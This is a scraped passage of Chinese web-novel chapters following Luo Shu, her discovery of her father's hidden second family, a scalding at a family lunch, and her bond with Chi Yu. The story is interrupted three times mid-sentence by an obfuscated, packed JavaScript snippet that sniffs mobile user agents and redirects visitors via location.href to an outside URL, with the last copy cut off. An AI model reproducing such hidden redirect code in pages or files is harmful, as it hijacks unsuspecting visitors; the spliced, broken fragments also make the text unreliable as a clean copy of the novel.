苏望月出来看见洛姝给许玥抹防晒，嚷嚷着他也要，等到他涂完胳膊，方路明和叶哲也出来了，他俩穿着短袖短裤，明明一副不怕晒的模样，也凑上来防晒。 池煜是最后从楼上下来的，苏望月举着胳膊喊他：“池哥来，你也来点。” “不用。”池煜找了个空位坐下。 许玥涂完了脸，朝池煜看去，他今天穿着简单的白T，墨镜随意夹在领口，裸露的小臂线条紧实又匀称，“你不怕晒啊？” 池煜朝苏望月那儿轻抬下巴，“望月带了伞。” 许玥又说：“那你带了什么？你好像就带了一个背包，没带多少东西。” 起码他们都带了行李箱，只有他背着包，手边推着的粉色行李箱是洛姝的。 “我东西放在我妹的行李箱里。”他走到正在收拾背包的洛姝跟前，把领口的墨镜取下来给她戴在发顶上。 许玥看见洛姝抬手摸了一下，低着头还在翻找，接着她找到了自己的折叠墨镜，扬起手，“我戴两副的作用是？” 池煜扬眉：“一个用来当发箍。” 洛姝只是短暂思考了一下就照做，待到手里的折叠墨镜戴到脸上又从鼻梁上往下打滑的时候，噗嗤一下笑了：“原来是拿错了。” 兄妹俩笑着交换了墨镜，又凑到一起低着头不知道说些什么，许玥很少看见池煜脸上一直挂着笑容，鬼使神差地，她拿着手机拍了一张，将相处和谐的这一刻的笑容拍进了一张照片里，然后把手机放回了衣兜。 * 假期来梁城赶上了旺季，游客很多。 下午的气温偏高，四个女孩子穿着防晒衣只露出一双眼睛还打着伞，可谓是全副武装，洛姝和梁诺诺挤在一把伞里面，紧紧跟着前面领队的许玥和赵慕挽。 洛姝感觉头晕目眩，尤其是腹部有些坠疼，她无力地靠在梁诺诺身上，“好热。” “嗯？很热吗，我没什么感觉。”梁诺诺说着，偏头看了她一眼，惊道：“洛洛你咋了，脸这么白。” 洛姝伏在她肩膀上：“涂了防晒呀，能不白吗？” 她有些口渴，抱着梁诺诺的手臂寻找附近的奶茶店，不经意间看见了远处一家装修别致的面包坊。 外面的长椅上坐满了人，不消片刻人就又换了一波，她注意到从门口走出来的那个男人，那张脸实在太过熟悉，让她浑身汗毛竖起，这样热的天她竟然感觉到冷。 洛亦祥怎么在这里？ 他手里牵着的那个小男孩是谁？挽着他手臂，亲他脸颊的女人是谁？那个看起来比池煜还要年长一些的少年又是谁？是之前谢玫说的那个比她大五岁的男孩吗？那谢玫知道还有个小男孩的存在吗？ 洛姝感觉脑袋里有什么轰然倒塌，她放缓了呼吸，狂跳的心脏似乎已经提到了嗓子眼，她浑身发抖，拿出手机拨通那串牢记于心的手机号。 她看见洛亦祥从热裤里掏出手机，松开小男孩的手又和女人说了什么，走到一边，接着他接通了电话，“喂，洛洛。” 洛姝仍然止不住地发抖，她突然很想冲过去问他们是谁，但到底连脚步都没有迈出去，只是僵硬地说：“你在哪？” 她看见洛亦祥捏着后颈，姿态放松，不过片刻女人又贴近了他，他抬起食指放在唇边看着女人，继续对电话那头说：“洛洛想爸爸了吗？爸爸在外面出差呢，要过段时间回浔城，到时候给你带礼物。” 好装。 好假。 好恶心。 洛姝吸了一下鼻子，不知怎么就想到了那时候洛亦祥和谢玫吵架时候，他砸向自己的玻璃杯。 没听到女儿说话，洛亦祥又说：“看你池叔叔发朋友圈说你跟小煜出去玩了，去哪儿啦？钱够不够花？爸爸再给你转点。” 她们的位置靠近景点，人比较多，梁诺诺百无聊赖地看着附近的建筑，突然看见了熟悉的面孔，男人身边跟着个打扮靓丽的女人，女人正笑着和一左一右的男孩子说话，时不时靠在男人肩膀上，看起来一家四口很是甜蜜。 “洛洛，那人好眼熟，像你……” 在望向洛姝难看的脸色后，梁诺诺闭上了嘴巴，顺着洛姝的目光看过去，原来是已经看见了。 16. 07 自从看见洛亦祥之后，洛姝的情绪就不太高涨。 梁诺诺却心里清楚究竟是因为什么事，但这是洛姝家事，又比较糟心，她不会平白无故去提这事儿，想着法子逗洛姝开心。 第二天中午，一行人从寺庙出来，去了预约好的饭馆。饭馆是许玥来之前做好攻略提前预约好的，选的菜品也都是当地的特色。 洛姝怀疑自己有点水土不服，毕竟从昨天开始浑身都不太舒服。小腹依然还有点疼，她揉了揉，没太在意，又加上对海鲜的兴致不高，捡着家常菜吃。 梁诺诺一直在吃螃蟹，对身边的交流充耳不闻，只和洛姝还有赵慕挽有一搭没一搭的说着话。 许玥见状，提醒梁诺诺：“诺诺，螃蟹少吃点，你吃点别的，要不然胃会不舒服。” 梁诺诺连声应下后去吃别的菜。许玥注意到洛姝一直在吃面前的清炒土豆丝，旁边的池煜在和苏望月聊天，神色如常地给妹妹夹菜。 许玥想了想，偏头问：“洛洛有没有想吃的？我给你夹。” 洛姝受宠若惊抬起头，赶紧说：“谢谢许玥姐，我自己来就好。” 虽然她委婉拒绝了，但是许玥还是用公勺盛了一勺扇贝肉就要放她碗里，笑着说：“既然咱们出来玩了，那就吃好喝好才行。” 池煜见状，开口：“她对海鲜过敏，吃不了。” “啊？过敏吗……”许玥悻悻坐下：“不好意思，我不知道，早知道就不选这家了。” “没事的，我吃什么都可以。” 洛姝不好意思地捧起碗，虽然吃不了，但还是对许玥的举动道了谢：“谢谢许玥姐。” 梁诺诺能看得出来这位姐姐对洛姝的哥哥有点意思，要不然怎么会时不时对洛姝示好。她解释了一句：“许玥姐，洛洛她连虾都不能碰。” 说着把碗推过去，很自来熟地接过许玥手里的公勺放进自己碗里：“不过没关系，我能吃呀！谢谢姐姐！” 许玥脸上的表情这才自然了点，又给梁诺诺夹了几道海鲜。 洛姝叹口气，一时间连碗里的家常菜也吃不下了，小腹莫名其妙痛起来，让她没来由地败了出来玩的好心情，倒不是想扫兴，实在是这腹痛来的不太是时候。 “没胃口？”池煜注意到她没怎么吃菜，看了眼桌上的菜品，一半海鲜一半家常菜，家常菜大多都是符合她口味的，这儿没有长辈在，她理应不会这么拘谨。 想到此前洛姝提过减肥的事，他又猜：“是不想吃，还是哪儿不舒服？” 洛姝听他这样问，摇头又点了好几下头：“肚子有点不舒服。” “很不舒服？”池煜一边给她夹菜一边回忆她上午吃了什么，他们全都吃了馒头和粥，没什么不一样的。 他也没有看见妹妹吃冰喝冷水，所以好好的怎么会闹肚子？ 池煜放下了筷子，说：“是不是昨天夜里蹬被子了？”洛姝最怕热，晚上乱蹬被子也说不定。 洛姝摸了摸脸，握住手边冒着冷气的冰可乐，含糊说着“应该是”，正要拿起冷饮就要往嘴里送的时候被池煜拿过来放在自己手里，“忍着，等会儿给你买热饮。” “好吧。”洛姝鼓了下腮帮子，环顾四周。 池煜顺着她目光看过去：“找什么？” 这家餐馆不小，食客不算少，洛姝抬高脖子也没能看到卫生间在哪，“卫生间。” 池煜倒是看见了，想到她总是会转向，先一步站起身：“走吧。我和你去。” “我跟诺诺一块去。” 洛姝拉着梁诺诺去了厕所。 * 厕所不大，超过两个人就要排队了。 洛进到里间方便完，她怕外边的人等着急，利索地拎裤子，一手去按冲水按钮，感觉到腿内侧有些湿润的时候，她余光里瞥见坐便池内的血迹，惊了一下。 她这才后知后觉重新解开裤子，看见了内裤上有些发褐的血迹，突然想到谢玫以前和她简单的科普过生理期。只不过那那时候她年纪小，谢玫也没想过和女儿分离，只是说：没关系，到时候真来了妈妈再告诉你。 初潮在这趟旅程中悄悄降临，让她措手不及，而谢玫不会知道，更没法对她开口细致为她说起生理期应当注意的事情。 小腹的疼痛加剧，原本平平的心情也瞬间低落起来，洛姝闻着淡淡腥味，没忍住红了眼睛，深呼吸几次后，她站起来在内裤上垫好纸巾，放下马桶盖给擦拭干净后坐在上面，忍不住开始哭。 梁诺诺就在门外，听见压抑的抽噎声吓一跳，话到嘴边转了个弯：“洛洛，你让我进去，我也想上个厕所。” 洛姝擦掉眼泪开门，她眼睛红通通的，坐在马桶盖上两只手压在膝盖，看起来又委屈又可怜。 梁诺诺赶紧给她一个拥抱：“没关系的宝儿，咱们哭出来发泄一下情绪。不要紧的，你还有我，还有你哥哥，我们都在你身边呢！” 洛姝被她这一关心，心里那股酸胀感像个气球，突然就炸开，她沉默着流眼泪，大颗大颗的泪珠子顺着脸颊流到下巴，哽咽着说：“我之前以为他们离婚是我妈妈的错。他跟我说我妈妈说的都是假的，他骗我说他只有我这么一个孩子，他说是我妈妈出轨。” 可是那个高个子少年看起来比池煜的年纪还要大…… 梁诺诺细思极恐，破口大骂：“死渣男！世界第一贱！”骂完，也跟着好闺蜜流下眼泪。 最后，洛姝哭得有些缺氧，心情终于得以平复，包里的手机响了一声，不知是谁发来的微信消息。 她点开，是池煜发来的，询问她，要不要带她回民宿休息。 她闷闷地开口：“诺诺，我来月经了，肚子有点痛。” “我去给你买，我看到便利店在哪了。” 梁诺诺又很小声地问：“内裤上弄脏了吗？” 她比洛姝早一年来例假，相比起来淡定一点：“再给你带包暖宝宝。” “嗯……” “裤子呢，脏了吗？” “没弄脏。” “那你要多等一会，手机有电吧？保持联络。” * 洛姝没想到来月经小腹会这么疼，加上在粱城没想到会碰见洛亦祥，心情更加糟糕。 可到底是出来旅游，她不想扫兴，一直强打着精神，玩了一圈下来，存在脑子里的景点几乎没有。 一连过了好几天，她心终于忍不住想跟池煜提起这件事，她敲响了池煜的房门：“哥，我有事找你。” “什么事。”池煜退开半边身子，让她进来。 洛姝径直走到落地窗前的椅子上，有些不知道该怎么开口，过了好一会才说：“我在这里看见洛亦祥了。我妈妈之前跟他吵架的时候说他有个比我大五岁的儿子，我也看见了。还……看见了一个三四岁的小男孩。他和那个阿姨看起来很亲密。” 池煜在她旁边坐下，单手撑着膝盖，摸了摸她的头：“你这几天心情不好，都因为这个吗？” 洛姝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375727|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垂下头：“嗯……也不算都是。” 她抠着手心，头埋得很低：“就是感觉……” “池煜，你现在有空吗？” 许玥敲门打断了她没说完的话：“有话想对你说。” 洛姝立刻闭嘴，抬头，“你去开门吧。” “嗯，那等会说。”池煜把门完全打开，朝身后看了一眼，没想到洛姝已经躲起来了。 “说什么？”他问许玥。 许玥今天化了淡妆，她本来长得就很漂亮，淡妆更显得她很有精神。 她没进门，直白道：“从来到粱城开始你就没怎么理过我，虽然你平时跟那我说的话很少，但我很明显感觉到了你的冷淡。是因为发现我喜欢你，还是因为我软磨硬泡让苏望月带着我来跟你们一起旅游，你不高兴了？” 洛姝显然没想到许玥晚上来找池煜说这个，她在房间的一角，那儿有隔间，把她整个人挡的严严实实。 “没不高兴。”洛姝听见池煜这样回答。 许玥笑着说：“所以说你是知道我喜欢你才这样跟我保持距离？我喜欢你的女生有很多——” 她没接着说下去，因为印象里，池煜很少跟女生有过密的接触，但又保持着恰到好处的距离，不会过线，毕竟他待人一向很友好。 “不想给你造成不必要的误会。”许玥的话太直白了，池煜很轻地笑了下。 许玥点头，脸上笑容渐渐收敛：“但我们说到底还是同学嘛，多说说话怎么了？我喜欢你是我的事呀，我又没表白让你非要给我个答案。” 洛姝没听见池煜说话，连她都能想明白的，就算没表白但是已经戳破窗户纸了不是吗，按照池煜的性格，他既然决定保持距离就会一直这样了。 她听见许玥又说：“我也没说就是要跟你谈恋爱，毕竟现在还在上学，早恋什么的，不太合适。那你能不能给我个准信，以后我们两个能不能成？” 池煜这样回答：“以后的事情谁能说得准。” 洛姝没再继续听他们两个的对话，她在想现在许玥是什么样的表情。 许玥的性格很好，长得也很漂亮，听苏望月说她是班里选出来的班花，这趟旅程也很照顾她跟伙伴们，像个暖心的大姐姐。 在洛姝看来，池煜无疑是自己心目中长相和品德最优的人。 她想不出来这两个人若是在将来在一起，站在一起是什么样子，她打心底排斥这个感觉，让她很陌生？ 洛姝不愿意去想为什么，脑海中却不可遏制地想到从小到大她跟池煜都在一处，她想象不出来除了她以外，他跟别人肩并肩站在一起。 这突如其来的想法把她自己吓到了，她强迫自己不去深究这古怪的想法，望向落地窗外的夜景。 有家长拉着孩子走在沙滩上不知在说些什么，看起来亲子关系相当紧密。他们的脚印踩在沙滩上，海浪很快将其冲掉，但冲不淡浓重的血缘关系。 也有亲密的恋人拥抱在一起，耳鬓厮磨。 蓦地，洛姝感觉到肩头被一只手按住，扑鼻而来一股很淡却又很清新的柠檬香，属于某个人独一无二的气息包围过来。 池煜已经结束了和许玥的对话，他顺着洛姝的视线看过去，离她很近，询问：“在看什么？” 洛姝猛然回神，对上池煜那双含着笑的眼睛。 刚刚平复的心跳重新狂跳起来，头一回，洛姝在心底生出想要牢牢抓紧一个人的念头。 而这个人，近在眼前。 17. Chapter 10 应不应该 那套老房子里的所有物件除了那封不算信的信被洛姝带走外，其余的一概留在了原处。 次日上午，洛姝正在看返程的高铁，从中午十二点到下午四点半都没有返回粱城的票。刚选好五点零三分的票，手机突然打进来一条微信语音。 “洛洛睡醒了吧？” 是宋依冉，音色很温柔：“我跟玲姐买了你爱吃的菜，中午来家里吃饭呀。等会让你刘叔去接你，好不好？” 完完全全是哄孩子的语气，洛姝自从母亲过世之后再也没听见过这样柔和的声音，不禁开始发怔。 宋依冉在电话那头喊：“洛洛？” 洛姝回过神来：“阿姨，我认得路。”她看了眼时间，现在刚到十点，“等会自己过去就好。” “那行，等会你弟弟也要下课了，我跟玲姐现在开始准备做饭。”宋依冉笑起来也很悦耳：“就等你来了。” 挂断语音，洛姝买了傍晚的高铁票，而后简单地收拾了一下自己，打了个车去洛家。 她到的时候，洛廷炎也上完课到家，洛廷炎看到她很惊喜，兴高采烈给她看自己书法课写的作业，一脸求夸的表情：“姐，我是不是写得很好？” “别闹你姐，你姐刚到家，让她坐着歇会儿。”宋依冉拉着洛姝去客厅，“等会儿就能吃饭啦。阿姨做了你爱吃的西蓝花炒虾仁还有海带排骨汤，可得多吃点啊。” 她的声音很温柔，尾音微微上扬，听起来还带着点小俏皮。 “谢谢阿姨。”洛姝说。 宋依冉强调：“哎呀，谢什么呀，这是你自己的家。” 洛廷炎也嚷嚷着：“就是呀姐！这是你自己的家，别这么客气。对了姐，我钢琴过了四级，我给你看看我的证书！” 洛亦祥坐在沙发上，笑说：“真不愧是姐弟。廷炎这性子，跟小时候洛洛一个模子刻出来的。” 洛姝扯了扯唇角，什么都没有说。 午饭时间，饭桌上的洛廷炎在给洛姝积极地夹菜，他坐在洛姝边上，夹了一筷子离自己最近的芹菜炒牛柳给洛姝碗里：“姐，你尝尝这个！这个是我炒的。” 宋依冉注视着儿子的一举一动，生怕儿子这样的热情会让洛姝反感：“洛洛，你弟弟他就是这样，话可多了，不过对家里人就是很热心的。” 洛姝默不作声地看着碗里的芹菜，身旁的洛廷炎正期待地盯着她。 “手艺不错。”她夹起来那根色泽鲜亮的芹菜，咽了下去。 洛亦祥坐在两个孩子对面，笑眯眯地看着洛姝吃掉那根芹菜，然后给她夹了一筷子藕片。 旁边的洛廷炎看着藕片，笑说：“爸，你怎么不给我也夹？” 洛亦祥顿了一下，才说：“你不是不爱吃藕吗？” “我看见姐姐高兴，今天爱吃！”洛廷炎摇头晃脑，夹了块藕一整块放进嘴巴里。 洛亦祥大笑起来：“你这小子。” 注意到洛姝在低头吃碗里的芹菜，宋依冉给她盛了碗排骨汤：“洛洛，阿姨给你盛碗汤放旁边冷着。” 洛廷炎很殷勤，忙放下筷子去端：“我来！” “烫，端稳点。”宋依冉提醒。 “知道，知道。”结果碗快要递到洛姝手里的时候，洛廷炎被碗底的温度烫到了手指，一个没端稳，碗里的汤直接撒了出去，尽数浇到了洛姝搭在腿上的左手上。 砰—— 碗掉在浅灰色的亮面瓷砖上，碎裂开，油汤撒在地上到处都是，像污渍。 洛姝的毛衣沾上了汤汁，她腾地站起身，甩了甩被烫到的手，立刻冲进厨房去冲冷水。 一旁的洛廷炎吓得脸色惨白，蹲下就要去捡碎片，洛亦祥拧着眉把他拉起来：“别捡别捡，别划到了手。伤着没？” 宋依冉跑到儿子跟前，拿起他的手细细看了看十指，确认他毫发无损才松了口气，嗔怪：“你呀你，怎么这么不小心！要是洒在你手上可有的你哭的。” 洛廷炎呆呆地看着衣服上的油渍，懊恼：“衣服脏了。” “没事儿，脏了洗干净就是了。”宋依冉松了口气，看见儿子脸色惨白，心知这是被吓到了，赶忙拍了拍儿子的肩：“瞧把你吓得，不就摔碎个碗吗？” 洛廷炎摇摇头，“姐姐好像被烫到手了……” 不等母亲说话，他冲进客厅：“我去拿烫伤膏。” 宋依冉脸色变了变，小跑进厨房，看见流理台边上正在冲凉水的洛姝，忙上前问：“洛洛被烫到了吗，严不严重，给阿姨看看。” 餐厅里一家三口的对白尽数被洛姝听见，她自嘲地勾起唇角，沉默地看着手上被烫红的一大块。 说不上来心里什么滋味，有点酸，有点涨，被烫伤的手背实在是疼，那股火辣辣的刺疼钻到心里去，剜出无数个细小的伤口。 疼得她短暂遗忘这场饭局给自己带来的不适与拘谨，以及那年在粱城时，看见洛亦祥和宋依冉带着两个儿子的细枝末节。 她习惯在难捱的日子里想起池煜，这一刻竟也不例外。 手机在响，是微信消息提示音，池煜发来的，是他跟谢雨杉还有德芙在家里的一小段视频，他说自己和谢雨杉一样，都很想她。 心跳过载，震耳欲聋。 洛姝没有回复，缓慢地呼出一口气，手机熄屏后放进口袋，她快速眨了两下湿润的眼睫毛，避开宋依冉伸过来的手，“还好。” 宋依冉面带抱歉，揽住洛姝的手臂拍了拍：“阿姨代廷炎给你道歉，这孩子从小就毛手毛脚的。他很喜欢你这个姐姐，所以才这么热情，你别往心里去。” 洛亦祥也到流理台旁边，附和着妻子：“你弟他没有坏心眼的，他……” “我知道。”洛姝低声打断他的话。 她毛衣上沾了汤汁，原本香味扑鼻的肉汤竟有发出令人作呕的荤腥味，宋依冉也看见了，忙拿着毛巾给她在污渍上擦拭，说：“等会儿你去衣帽间里挑几件衣服换上，我衣柜里有新买的还有没拆标签。” 洛姝甩了甩手上的水珠，忍着那股刺痛关上了水龙头：“麻烦您了。” “不麻烦，跟阿姨客气什么呀？”宋依冉握住她手腕，“再冲会儿吧。” 洛姝对着水龙头冲了半小时的冷水，擦干净手涂上烫伤膏的那一刻无异于在伤口上撒盐，痛感实在难忍，瞬间让她红了眼圈，紧紧咬住牙关。 “是不是很疼？”宋依冉动作慢了许多。 洛姝哽了一声，眼泪到底是没落下来，她强颜欢笑：“是挺疼的。” 洛廷炎白着一张脸蹲在姐姐身边，一会儿盯着她脸色，一会儿看她通红的手背，在看见她那双漂亮的眼睛里顿时涌上一层薄泪的时候，声音细若如闻：“对不起啊姐，要不你揍我一顿吧，都怨我。” “好了好了，你别添乱了。帮你爸热菜去。” 宋依冉支走洛廷炎，在洛姝手上吹了吹，带着她去衣帽间换衣服。 这顿午饭耽搁了大半个小时，洛亦祥将菜重新热好已经接近一点。 洛姝没有上桌，她穿起了外套告辞离开：“你们慢吃，我买了下午两点回粱城的高铁，先去车站了。” “怎么这么着急要回去？”洛亦祥也站起来。 “答应好今天回去的。”洛姝这样回答。 宋依冉叹口气，把烫伤药膏塞给她，又忙着给她塞了点能饱腹的点心：“耽误了这一通，你连饭都没吃好。让你爸送你去吧？” “我叫了车，等会儿就会来。” 宋依冉送她出了小区，外面的寒风刺骨，让她忍不住打了个哆嗦：“下次要是有空就回家来住几天。” 洛姝半张脸蒙在围巾里，只是说：“您回去吧。” 回酒店取了行李，再打车到高铁站也才刚过两点钟。 洛姝就这样枯坐在大厅，期间池煜给她发了条消息，问她什么时候到站，自己来接她。 她本想回复“不用了”，但鬼使神差地，她回复了准确的到站时间。 或许是因为手背锥心的疼痛让她没了任何婉拒的力气，又或许是这座生她养她的城市让她再感受不到一丝温情，唯一能让她给这座城市增添滤镜的人，只剩池煜。 她想，她大概不会再回来这里。 * 天色已晚，谢雨杉两只手扒着车窗户，正看着外面来来往往的人，“哥哥，你是怎么猜到姐姐今天会回来的？” “因为她不喜欢那个地方。” 池煜打开订票软件找到了洛姝乘坐的那辆高铁时间，带着他下车：“还有三分钟姐姐到站，咱们去站口等她怎么样？” “好呀。” 谢雨杉手里拿着一盒无籽提糖葫芦，没舍得吃，留着给洛姝的：“到时候姐姐看见糖葫芦会很高兴的。” 外面很冷，池煜帮谢雨杉戴好帽子和围巾，抱着他大步朝前走，快要靠近站台时候，一眼就瞧见了穿着白色羽绒服的洛姝。 她低着头，除却刘海和脸颊两侧稍长出来的鬓角外，其余头发都被盘了起来，走得很快，不知道在想什么，长长的围巾被夜风高高吹起来。 她抬起左胳膊压住，随后扬起脸，这才看见站在五米开外被池煜抱着的弟弟，他高高举起手，露出笑脸，下地后高声喊：“姐姐！” 视线稍偏，洛姝看着池煜，他唇角勾起好看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375728|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的弧度，视线定格在她脸上，因此也落进她眼中。 洛姝快步走到他们跟前：“等很久了吗？” “没有，刚到。” 池煜去拿她的箱子，另一只手拉着谢雨杉，和她说话，“家里我煮了汤，一起回去吃点？雨杉也饿了很久。” “好。”洛姝没拒绝。 池煜这些年苦练厨艺，因此手艺还不错，门刚打开，从厨房里飘进来香气，闻起来像是炖排骨的味道。 洛姝很早就饿了，这会儿馋虫被勾起来，她换好鞋，把外套搁在衣架上，跟着池煜进了厨房，问：“煮的什么？” “玉米排骨汤。” 池煜把锅掀开给她看，里面还有玉米山药和红枣，“记得你以前最爱喝这个。我煮汤的手艺还行，等会儿你尝尝，应该不难喝。” 没想到这么多年过去，池煜还记得自己的口味，洛姝不知道该怎么开口，甚至无法调侃地说一句“你怎么还记得啊”，只是笑了笑：“闻着就很香。” “姐姐。”谢雨杉要去拉她左手，不小心按到了手背，洛姝条件反射似地甩开，小声地吸了一口气。 池煜偏头看她：“怎么了？” “……没事。” 嘴上说着没事，但眼睛已经红了，池煜捏着洛姝手腕举起那只手，白皙的皮肤上通红一片，他拧起眉，没敢碰：“手怎么了。” 洛姝朝后缩了缩手，没挣开，也就由着他去了：“被烫了一下。不过涂了药好多了。” 谢雨杉小脸皱成一团，踮起脚要去看洛姝的手：“给我看看。” 在看见姐姐通红的手背时，他哽咽起来，捧着姐姐的手吹了吹：“是不是很疼呢，看起来就很严重，这么红……” 洛姝摸他脑袋，安抚：“好啦，不要哭。” 池煜收敛笑容，拉着她的手放在冷水下，“怎么会烫到手？” 洛姝感受着冰凉的水流滑过肌肤，低声说：“盛汤的时候不小心。” “汤在你跟前？” 洛姝没理解他为什么这么问，但是还是回答：“不是，在桌对面。” 池煜看着她通红的手背，“你小学的时候，有次我们家庭聚餐，你就被热汤烫到了手指，不严重，但是从那以后，如果汤碗不在你面前，你根本不会喝。” “是谁给你盛了汤又洒在你手上了吧，你自己绝对不会这么不小心。”池煜轻声下了决断。 “……嗯。”洛姝撇开头，她从小跟池煜一起长大，什么都瞒不住他，他太了解自己了。 池煜捉住她的手，在烫红的地方吹了吹，随后拉着她去了客厅，找到药箱，从里面找出药膏：“之前望月吃小龙虾被烫到，用的就是这个，第二天不会起水泡，好得也很快。” 说完，他又看向一脸凝重的谢雨杉：“帮哥哥个忙，从茶几下面拿个小电扇出来给姐姐的手吹吹风吧。” 然后才帮洛姝上药，“会很疼，忍着点。” 洛姝几乎没吃过什么苦，从小更是娇气，怕疼得很，又很爱哭鼻子。池煜虽然先给她打了预防针，但又怕她突然把手抽回去，只好攥紧她手腕。 已经是第二次上药了，洛姝还是感觉到钻心的疼，她下意识往后缩，积蓄在眼眶里的眼泪瞬间涌了出来。 谢雨杉跪在她旁边，举着小风扇吹在她手上，他自己还鼓起腮帮子，红着两只眼睛：“我给姐姐吹一吹就不痛了。” 池煜周身的气压很低，但他涂抹药膏的动作很轻，说出口的话不带温度：“长大了还越来越会犯傻，受了委屈一声不吭，不疼吗，一直忍着。” 洛姝的视线已经被泪模糊了，她轻轻一眨，泪水顺着脸颊滑落，“啪嗒”掉在手心里，她声音很小，隐在小电扇之下：“对不起。” 池煜涂药的动作顿了一下，而后才说：“你没有对不起任何人，你只要对得起自己就行。” 洛姝哭得更凶：“就是对不起你。” 池煜这才反应过来她说的是什么，她为什么不告而别了九年，似乎成为彼此心照不宣不会坦言的秘密。 池煜实话实说：“我没怪过你。”他摊开洛姝的手，这烫伤膏带有清凉的成分，他又涂得很厚，应该会让洛姝好受点。 他把她的手捧在手心，另一只手不太温柔地擦掉她脸上的泪，直至把泪痕擦干净，无奈道：“之前给你说的话，一句都没有听到心里去，对么。要是怪你能留你在这里，给你煲汤，给你做晚饭，照顾弟弟？” 洛姝噎了一下，低声反驳：“是因为你本来就很好。” 池煜抬起她的下巴，让她正视自己，以防她继续自欺欺人，“得和你有关才行。” 18. Chapter 11 洛姝躲避不及，垂着眼睛看池煜。 她是个很拧巴的人，当初能那么果断提了分手就一走了之，就是抱着这辈子不会再和池煜见面的想法。 毕竟当时蒋春燕那样声嘶力竭求她，池升求她放过自己的儿子，又加上这对夫妻拿着那几年她住在池家为恩做要挟，道德绑架她。 那时候她才十六岁，少不更事的年纪，面对咄咄逼人的蒋春燕如同遭到当头一棒，一向对她和颜悦色的池升同样面目狰狞。 这对夫妻不管此前如何争吵，如何相看两厌，但在当时面对洛姝的态度很一致，很坚决，目的就是为了让她离自己儿子远远的，最好再也别见。 洛姝当时根本不知道该做出什么样的反应，加上那时谢玫回国，三番两次找她，告诉她当年不是有意丢下她，她这才像是有了靠山，于是草草跟池煜提了分手。 现在她和池煜面对面，一看见他就想起当年在病房里，他父母对自己说的那些话。 她想破罐子破摔，对池煜说我早就不是你名义上人尽皆知的妹妹，也分手多年，我们一点关系都没有了。 可是这些话怎么也没法说出口，哪怕这早就是既定的事实，池煜不还是跟以前一样对她吗，有没有那些关系，都还是一样。 当年狠下心决定不联系他，说走就走都没选择告诉他这些事情，如今过去这么多年，旧事重提已经没有意义。 于是洛姝闭上了眼睛，轻轻哼了声：“池煜，你好烦啊。” “嗯，我烦人。”池煜笑着。 洛姝偏过头去，还是不知道该怎么面对他：“我饿了。” 池煜起身去厨房：“雨杉，拿着小风扇帮姐姐吹吹。哥哥去做饭。” “好～” 谢雨杉紧张兮兮地盯着洛姝的手，拖着哭腔，“姐姐，早知道我就跟着你去了。” 洛姝：“跟着我去做什么？” 谢雨杉叹气：“我去保护你呀，让他们不敢欺负你。” “没人欺负我。” 小孩子撅起嘴：“才不信呢，你的手都伤成这样了！” 洛姝看着他，举起自己的手：“那我都伤成这样了，你不该安慰安慰我吗？” 谢雨杉立刻紧张起来：“我给姐姐吹吹，吹吹就不痛了。等我长大了就当姐姐的保镖，谁都别想欺负你。” “我可付不起你的酬金。” “你给我买零食就好了呀。” …… 厨房内，池煜听着姐弟两人的对话，把早就准备好并洗干净的食材下锅。 四菜一汤端上桌的时候并没有花太长时间，谢雨杉拉着洛姝进餐厅，还体贴地帮她放好椅子，面前是一碗鲜香四溢的玉米排骨汤。 “尝尝。”池煜说。 洛姝有点受宠若惊，抬头看着正在给谢雨杉盛米饭的池煜，随后才拿起勺子小口地尝了尝：“很好喝。” 池煜一直站着，给她夹菜，碗里多了两块虾仁：“再尝尝。” “忙了这么久，你快坐下吃饭。”洛姝感觉不自在，拿起筷子给他夹菜，催促：“我自己夹，又不是没有手。” “你先尝尝。” “很好吃。”洛姝评价完，纳闷道：“你准备去当大厨？” “怎么会。”池煜坐在她正对面，笑：“为了收买你啊，防止你以后再躲着我。” 洛姝一噎，慢腾腾说：“不会了。” 池煜从鼻子里轻轻哼了声，笑意不减：“可以相信你么。” 洛姝轻声回答：“当然。” * 一场雪过后，粱城放晴了数日。 好在烫伤的地方第一时间冲了冷水，洛姝手背上没有起水泡，但刺痛感过了将近一周才彻底消退，粱城也因再次下了一场大雪后，迎来了大降温。 天气太冷，出行困难，洛姝待在客厅看电影。 谢雨杉早饭吃了根玉米，由此想到家里窗台上的两根玉米，接着又开始思念起远在英国的父亲和从小养到大的杜宾犬。 即使前一天才跟谢瑞拨通视频，见到了家里的玉米和爱犬。 “姐姐，我们什么时候回英国呀？” 洛姝看了眼日期，他们来粱城已经快半个月了，以前她带孩子顶多两三天，还都是谢瑞在身边，谢雨杉也从来没有和谢瑞分开那么久过。 “想家了？”她问。 谢雨杉：“是呀。” 洛姝想了一下，开始看明天的机票：“明天回去吧，晚上不是和池煜哥哥约好吃饭的吗。” 谢雨杉捧着脸：“那之后我们还会回来吗？” 洛姝没说话，谢雨杉有些着急了，去晃她胳膊：“这里下雪好美啊，不是吗？” “……” “饭也好好吃，酒店也很好住！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 